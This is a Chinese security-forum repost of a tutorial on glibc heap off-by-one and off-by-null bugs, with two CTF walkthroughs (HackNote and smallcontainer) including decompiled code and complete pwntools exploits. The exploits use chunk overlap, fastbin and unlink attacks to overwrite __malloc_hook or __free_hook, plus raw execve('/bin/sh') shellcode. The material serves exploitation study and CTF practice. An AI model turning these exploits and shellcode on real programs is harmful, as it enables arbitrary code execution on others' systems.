安全矩阵

 找回密码
 立即注册
搜索
查看: 877|回复: 0

堆溢出 off by one & off by null

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-9-24 13:59:02 | 显示全部楼层 |阅读模式
堆溢出 off by one & off by null
简介

off-by-one是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。这种漏洞的产生往往与边界验证不严和字符串操作有关,也不排除写入的size正好就只多了一个字节的情况。

一般认为,单字节溢出是难以利用的,但是因为Linux的堆管理机制ptmalloc验证的松散性,基于Linux堆的off-by-one漏洞利用起来并不复杂,并且威力强大。

off-by-one是可以基于各种缓冲区的,比如栈、bss段等等,但是堆上(heap based)的off-by-one是比较常见的。
漏洞成因

在程序设置循环读取时(例如C语言的for循环),由于对于循环次数的检查不够严格,导致读取溢出了一个字节

例如:

  1. char a[16];
  2. for(int i = 0;i<=16;i++)
  3. {
  4.     read(0,a,1);
  5. }
复制代码



可以看出其实这个循环进行了17次,多向a中读入了一个字节,造成了溢出,攻击者可以通过这个漏洞达成许多攻击效果
利用姿势
1.通过溢出泄露数据
原理

这种方法主要与字符串函数有关,如printf函数的%s参数,通过将字符串末尾的‘\x00’覆盖掉从而使其能够输出该字符串之后的内容,造成内存地址的泄露

例:

源代码:

  1. #include<stdio.h>
  2. #include<stdlib.h>

  3. int main()
  4. {
  5.     char a[16];
  6.     for(int i = 0;i<=16;i++)
  7.     {
  8.         read(0,a+i,1);
  9.     }
  10.     printf("%s",a);
  11.     return 0;
  12. }
复制代码



溢出了一个字节,此时当我们输入17个字符的垃圾数据后,我们便可以通过溢出的那个字节覆盖使printf能够泄露之后的数据




2.一字节溢出覆盖其他块数据

这种漏洞利用方式在堆中利用较多,具体利用如下:
知识点补充及利用

堆chunk的结构:



glibc的堆管理器只通过size域的数据来判断chunk的大小,对于size域被篡改的情况基本上无法防御只能傻傻地将这块chunk“延长”,这就给off by one构造了攻击条件。

在off by one的条件下通过一字节的溢出修改下一个堆块的size造成块结构之间出现重叠,即chunk overlap,以此可以达成另一种形式的UAF。

什么是chunk overlap
假设我们申请了三个堆块Chunk A Chunk B Chunk C
先释放chunkA,再释放chunkB,此时触发off by null修改chunkC的prev_inuse为前两个堆块大小的总和(包括chunk头)。接着释放chunkC,此时因为向后合并会获得一个大小为chunkA+chunkB+chunkC的堆块。由于chunkB其实并不是free的,接着再把chunkB申请回来,这是我们就可以对chunkB进行任意构造了。
  1. [湖湘杯 2019]HackNote
  2. ida

  3. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
  4. {
  5.   const char *v3; // rdi
  6.   int v4; // eax
  7.   __int64 v5; // rdx
  8.   int v6; // ecx
  9.   int v7; // r8d
  10.   int v8; // r9d
  11.   char v9[908]; // [rsp+20h] [rbp-390h] BYREF
  12.   int v10; // [rsp+3ACh] [rbp-4h]

  13.   init();
  14.   v3 = "Welcome to Hacker's Note";
  15.   writing("Welcome to Hacker's Note", argv);
  16.   while ( 1 )
  17.   {
  18.     while ( 1 )
  19.     {
  20.       menu(v3, argv);
  21.       v4 = shellcode();
  22.       v10 = v4;
  23.       if ( v4 != 2 )
  24.         break;
  25.       v3 = v9;
  26.       delete(v9);
  27.     }
  28.     if ( v4 > 2 )
  29.     {
  30.       if ( v4 == 3 )
  31.       {
  32.         v3 = v9;
  33.         edit(v9);
  34.       }
  35.       else
  36.       {
  37.         if ( v4 == 4 )
  38.         {
  39.           writing("see u ~", argv);
  40.           sub_40F090(0LL);
  41.         }
  42. LABEL_13:
  43.         v3 = "Invaild choice!";
  44.         writing("Invaild choice!", argv);
  45.       }
  46.     }
  47.     else
  48.     {
  49.       if ( v4 != 1 )
  50.         goto LABEL_13;
  51.       v3 = v9;
  52.       add(v9, argv, v5, v6, v7, v8);
  53.     }
  54.   }
  55. }

  56. __int64 __fastcall add(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
  57. {
  58.   __int64 v6; // rdx
  59.   __int64 v8; // rdx
  60.   unsigned int v9; // [rsp+14h] [rbp-1Ch]
  61.   int v10; // [rsp+18h] [rbp-18h]
  62.   int i; // [rsp+1Ch] [rbp-14h]

  63.   v10 = -1;
  64.   for ( i = 0; i <= 15; ++i )
  65.   {
  66.     v6 = 8 * (i + 16LL);
  67.     if ( !*(v6 + a1) )
  68.     {
  69.       v10 = i;
  70.       a2 = i;
  71.       sub_40FE90("You Get Index : %d\n", i, v6, a4, a5, a6);
  72.       break;
  73.     }
  74.   }
  75.   if ( v10 == -1 )
  76.   {
  77.     writing("List Full !");
  78.     return 0LL;
  79.   }
  80.   else
  81.   {
  82.     writing("Input the Size:");
  83.     v9 = shellcode();
  84.     *(v8 + a1) = sub_41EA20(v9, a2, 8LL * v10);
  85.     if ( *(8LL * v10 + a1) )
  86.     {
  87.       *(a1 + 8 * (v10 + 16LL)) = v9;
  88.       writing("Input the Note:");
  89.       readfile(*(8LL * v10 + a1), v9);
  90.       writing("Add Done!");
  91.     }
  92.     else
  93.     {
  94.       writing("Allocation Failed !");
  95.     }
  96.     return 0LL;
  97.   }
  98. }

  99. __int64 __fastcall delete(__int64 a1)
  100. {
  101.   signed int v2; // [rsp+1Ch] [rbp-4h]

  102.   writing("Input the Index of Note:");
  103.   v2 = shellcode();
  104.   if ( !sub_400B04(v2, a1) )
  105.   {
  106.     writing("Invaild !!");
  107.   }
  108.   else
  109.   {
  110.     *(8 * (v2 + 16LL) + a1) = 0LL;
  111.     sub_41EDC0(*(8LL * v2 + a1));
  112.     *(8LL * v2 + a1) = 0LL;
  113.     writing("Delete Done!");
  114.   }
  115.   return 0LL;

  116. __int64 __fastcall edit(__int64 a1)
  117. {
  118.   signed int v2; // [rsp+1Ch] [rbp-4h]

  119.   writing("Input the Index of Note:");
  120.   v2 = shellcode();
  121.   if ( !sub_400B04(v2, a1) )
  122.   {
  123.     writing("Invaild !!");
  124.   }
  125.   else
  126.   {
  127.     writing("Input the Note:");
  128.     readfile(*(8LL * v2 + a1), *(8 * (v2 + 16LL) + a1));
  129.     *(a1 + 8 * (v2 + 16LL)) = strlen(*(8LL * v2 + a1));//计算chunk内容的长度,会造成off by one
  130.     writing("Edit Done!");
  131.   }
  132.   return 0LL;
  133. }
复制代码


分析

静态编译的堆题 保护全关 没有 show 功能。

在 edit 功能中chunk 的 size 会根据 strlen 函数而修改,那么如果我们将下一个相邻的 chunk 的 prev size 填满,那么 strlen 计算的时候就会算上下一个相邻 chunk 的 size 头的8字节,就会造成 off by one 漏洞了。
过程

  1. #first : off by one -> chunk overlap
  2. add(0x18) #index 0
  3. add(0x10) #index 1
  4. add(0x30) #index 2
  5. add(0x10) #index 3
  6. add(0x30) #Index 4
  7. edit(0, b'a'*0x18)
  8. #off by one
  9. edit(0, b'a'*0x18 + p8(0x61))
  10. #dbg()
复制代码



  1. #fastbin attack
  2. malloc_hook = 0x6CB788
  3. free(4)
  4. free(2)
  5. free(1)
  6. add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))
复制代码




改fd为malloc_hook

  1. # change malloc_hook to shellcode
  2. shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
  3. add(0x30)
  4. add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode)
复制代码




改malloc_hook为shellcode,再add一次即可getshell


  1. exp

  2. from pwn import *

  3. def s(a) : p.send(a)
  4. def sa(a, b) : p.sendafter(a, b)
  5. def sl(a) : p.sendline(a)
  6. def sla(a, b) : p.sendlineafter(a, b)
  7. def r() : return p.recv()
  8. def pr() : print(p.recv())
  9. def rl(a) : return p.recvuntil(a)
  10. def inter() : p.interactive()
  11. def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  12. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


  13. context(os='linux', arch='amd64', log_level='debug')
  14. p = process('./hacknote')
  15. elf = ELF('./hacknote')
  16. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

  17. def dbg():
  18.     gdb.attach(p)
  19.     pause()

  20. def add(size, data = b'a'):
  21.     sla(b'4. Exit\n-----------------\n', b'1')
  22.     sla(b'Size:\n', str(size))
  23.     sla(b'Note:\n', data)
  24. def free(idx):
  25.     sla(b'4. Exit\n-----------------\n', b'2')
  26.     sla(b'Note:\n', str(idx))
  27. def edit(idx, data):
  28.     sla(b'4. Exit\n-----------------\n', b'3')
  29.     sla(b'Note:\n', str(idx))
  30.     sla(b'Note:\n', data)

  31. malloc_hook = 0x6CB788  

  32. # first : off by one -> chunk overlap

  33. add(0x18) #index 0
  34. add(0x10) #index 1
  35. add(0x30) #index 2
  36. add(0x10) #index 3
  37. add(0x30) #Index 4
  38. dbg()
  39. edit(0, b'a'*0x18)
  40. edit(0, b'a'*0x18 + p8(0x61))
  41. dbg()
  42. free(4)
  43. free(2)
  44. free(1)

  45. # tow fastbin attack

  46. add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))

  47. # change malloc_hook

  48. dbg()
  49. shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
  50. add(0x30)
  51. add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode)
  52. dbg()
  53. #gdb.attach(p, 'b *0x400bf8')
  54. #pause()
  55. sla(b'4. Exit\n-----------------\n', b'1')
  56. sla(b'Size:\n', str(0x10))

  57. inter()
复制代码



off by null
前置知识

off by null 本质上就是由于长度的检查不严谨导致了一个空字节的溢出造成的,通常我们会用它来构造Heap Overlap或是用来触发unlink。
这些的前提是对于堆块的合并有所了解。
向前合并与向后合并
向前合并

  1. /* consolidate forward */
  2. if (!nextinuse) {
  3.     unlink(av, nextchunk, bck, fwd);
  4.     size += nextsize;
  5. } else
  6.     clear_inuse_bit_at_offset(nextchunk, 0);
复制代码


向前合并的检查:当一个chunk被free时去检查其物理相邻后一个chunk(next chunk)的prev_inuse位,若为0则证明此块已被free,若不是则将其prev_inuse位清0,执行free操作之后返回。接下来要检查下一个chunk是不是top chunk 若是则和前一块合并,若不是则进入向前合并的流程。
向前合并流程:

让nextchunk进入unlink流程
给size加上nextsize(同理也是表示大小上两个chunk已经合并了)
向后合并

  1. /* consolidate backward */
  2. if (!prev_inuse(p)) {
  3.     prevsize = p->prev_size;
  4.     size += prevsize;
  5.     p = chunk_at_offset(p, -((long) prevsize));
  6.     unlink(av, p, bck, fwd);
  7. }
复制代码



先检查当前堆块的prev_inuse位是否清零,若是则进入向后合并的流程:

先把前一个堆块的位置找到即p-p->prev_inuse
修改P -> size为P -> size + FD -> size(以此来表示size大小上已经合并)
让FD进入unlink函数
利用姿势

和off by one不同,off by null溢出的是NULL字节即'\x00'

在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

    修改下一个chunk的inuser位,来unlink

    修改下一个chunk的size,来chunk overlap

一定要申请以0x100整数倍大小的堆块,例0xf8,这样可以正好写到下一个chunk的prev_inuse位。


  1. [巅峰极客 2022] samllcontainer
  2. ida

  3. int __cdecl main(int argc, const char **argv, const char **envp)
  4. {
  5.   unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  6.   init(argc, argv, envp);
  7.   while ( 1 )
  8.   {
  9.     menu();
  10.     v4 = (int)retnum();
  11.     if ( v4 == 5 )
  12.       break;
  13.     if ( v4 > 5 )
  14.       goto LABEL_13;
  15.     switch ( v4 )
  16.     {
  17.       case 4uLL:
  18.         show();
  19.         break;
  20.       case 3uLL:
  21.         edit();
  22.         break;
  23.       case 1uLL:
  24.         add();
  25.         break;
  26.       case 2uLL:
  27.         delete();
  28.         break;
  29.       default:
  30. LABEL_13:
  31.         puts("Invalid choice.");
  32.         break;
  33.     }
  34.   }
  35.   puts("Goodbye!");
  36.   return 0;
  37. }

  38. size_t add()
  39. {
  40.   size_t result; // rax
  41.   int i; // [rsp+4h] [rbp-Ch]
  42.   size_t size; // [rsp+8h] [rbp-8h]

  43.   for ( i = 0; ; ++i )
  44.   {
  45.     if ( i > 16 )
  46.       exit(0);
  47.     if ( !heappp[i] || !sizeee[i] )
  48.       break;
  49.   }
  50.   printf("Input size: ");
  51.   size = (int)retnum();
  52.   if ( size <= 0xFF || size > 0x3FF )
  53.     exit(0);
  54.   heappp[i] = malloc(size);
  55.   result = size;
  56.   sizeee[i] = size;
  57.   return result;
  58. }

  59. QWORD *delete()
  60. {
  61.   _QWORD *result; // rax
  62.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  63.   printf("Input index: ");
  64.   v1 = (int)retnum();
  65.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
  66.     exit(0);
  67.   free((void *)heappp[v1]);
  68.   heappp[v1] = 0LL;
  69.   result = sizeee;
  70.   sizeee[v1] = 0LL;
  71.   return result;
  72. }

  73. __int64 edit()
  74. {
  75.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  76.   printf("Input index: ");
  77.   v1 = (int)retnum();
  78.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
  79.     exit(0);
  80.   read(0, (void *)heappp[v1], sizeee[v1]);
  81.   return check((_BYTE *)heappp[v1]);
  82. }

  83. int show()
  84. {
  85.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  86.   printf("Input index: ");
  87.   v1 = (int)retnum();
  88.   if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
  89.     exit(0);
  90.   return printf("%lx", *(_QWORD *)heappp[v1]);
  91. }
复制代码


分析

两次利用off by null修改size域和prev_inuse位实现chunk overlap和unlink绕过
过程

  1. for i in range(8):
  2.     add(0x250) #0 ~ 7
  3. for i in range(7, -1, -1):
  4.     free(i)
  5. for i in range(7):
  6.     add(0x250) #0 ~ 6
  7. add(0x120) #7
  8. show(7)
  9. libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
  10. print(' libc_base : ', hex(libc_base))
复制代码


先泄露出libc基址



  1. # off by null -> chunk overlap
  2. add(0x120) #index 8
  3. for i in range(9):
  4.     free(i)

  5. for i in range(7):
  6.     add(0x1f0) #0 ~ 6
  7. add(0x1f0) #7
  8. add(0x108) #8
  9. add(0x200) #9
  10. add(0x108) #10
  11. add(0x108) #11

  12. for i in range(7):
  13.     free(i) #index 0 ~ 6
  14. free(7)

  15. edit(8, b'\x11'*0x108)
  16. edit(8, b'\x11'*0x100 + p16(0x310))
  17. edit(9, b'\x00'*0x1f8 + p64(0x121))

  18. free(9) # unlink attack
复制代码




利用off by null填满tcachebin

  1. free(11)
  2. free(8)
  3. add(0x300) #0
  4. edit(0, b'\x00'*0x200 + p64(free_hook - 8))
  5. add(0x108) #1
  6. add(0x108) #2
  7. edit(2, p64(0) + p64(system)
复制代码




改freehook为system

接下来free一个填入了'bin/sh'的堆块即可getshell


exp

  1. from pwn import*

  2. context(os='linux', arch='amd64', log_level='debug')

  3. def s(a) : p.send(a)
  4. def sa(a, b) : p.sendafter(a, b)
  5. def sl(a) : p.sendline(a)
  6. def sla(a, b) : p.sendlineafter(a, b)
  7. def r() : return p.recv()
  8. def pr() : print(p.recv())
  9. def rl(a) : return p.recvuntil(a)
  10. def inter() : p.interactive()
  11. def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  12. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


  13. p = process('./pwn')
  14. elf = ELF('./pwn')
  15. libc = ELF('./libc-2.27.so')
  16. def dbg():
  17.     gdb.attach(p)
  18.     pause()
  19. def add(size):
  20.     sla(b'> ', b'1')
  21.     sla(b'size: ', str(size))
  22. def free(idx):
  23.     sla(b'> ', b'2')
  24.     sla(b'index: ', str(idx))
  25. def edit(idx, data):
  26.     sla(b'> ', b'3')
  27.     sla(b'index: ', str(idx))
  28.     s(data)
  29. def show(idx):
  30.     sla(b'> ', b'4')
  31.     sla(b'index: ', str(idx))


  32. # leak libc_base

  33. for i in range(8):
  34.     add(0x250) #0 ~ 7
  35. for i in range(7, -1, -1):
  36.     free(i)
  37. for i in range(7):
  38.     add(0x250) #index 0 ~ 6
  39. add(0x120) #7
  40. show(7)
  41. libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook']
  42. print(' libc_base : ', hex(libc_base))
  43. dbg()

  44. # off by null -> chunk overlap

  45. add(0x120) #index 8
  46. for i in range(9):
  47.     free(i)

  48. for i in range(7):
  49.     add(0x1f0) #0 ~ 6
  50. add(0x1f0) #7
  51. add(0x108) #8
  52. add(0x200) #9
  53. add(0x108) #10
  54. add(0x108) #11

  55. for i in range(7):
  56.     free(i) #index 0 ~ 6
  57. free(7)

  58. edit(8, b'\x11'*0x108)
  59. edit(8, b'\x11'*0x100 + p16(0x310))
  60. edit(9, b'\x00'*0x1f8 + p64(0x121))#change prev_inuse

  61. free(9) # unlink attack
  62. dbg()

  63. # free_hook -> system

  64. free_hook = libc_base + libc.sym['__free_hook']
  65. system = libc_base + libc.sym['system']
  66. free(11)
  67. free(8)
  68. add(0x300) #0
  69. edit(0, b'\x00'*0x200 + p64(free_hook - 8))
  70. add(0x108) #1
  71. add(0x108) #2
  72. edit(2, p64(0) + p64(system))
  73. dbg()
  74. edit(1, b'/bin/sh\x00')
  75. free(1)
  76. inter()
复制代码



来源:【https://xz.aliyun.com/】,感谢【rdp 】


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:44 , Processed in 0.013552 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表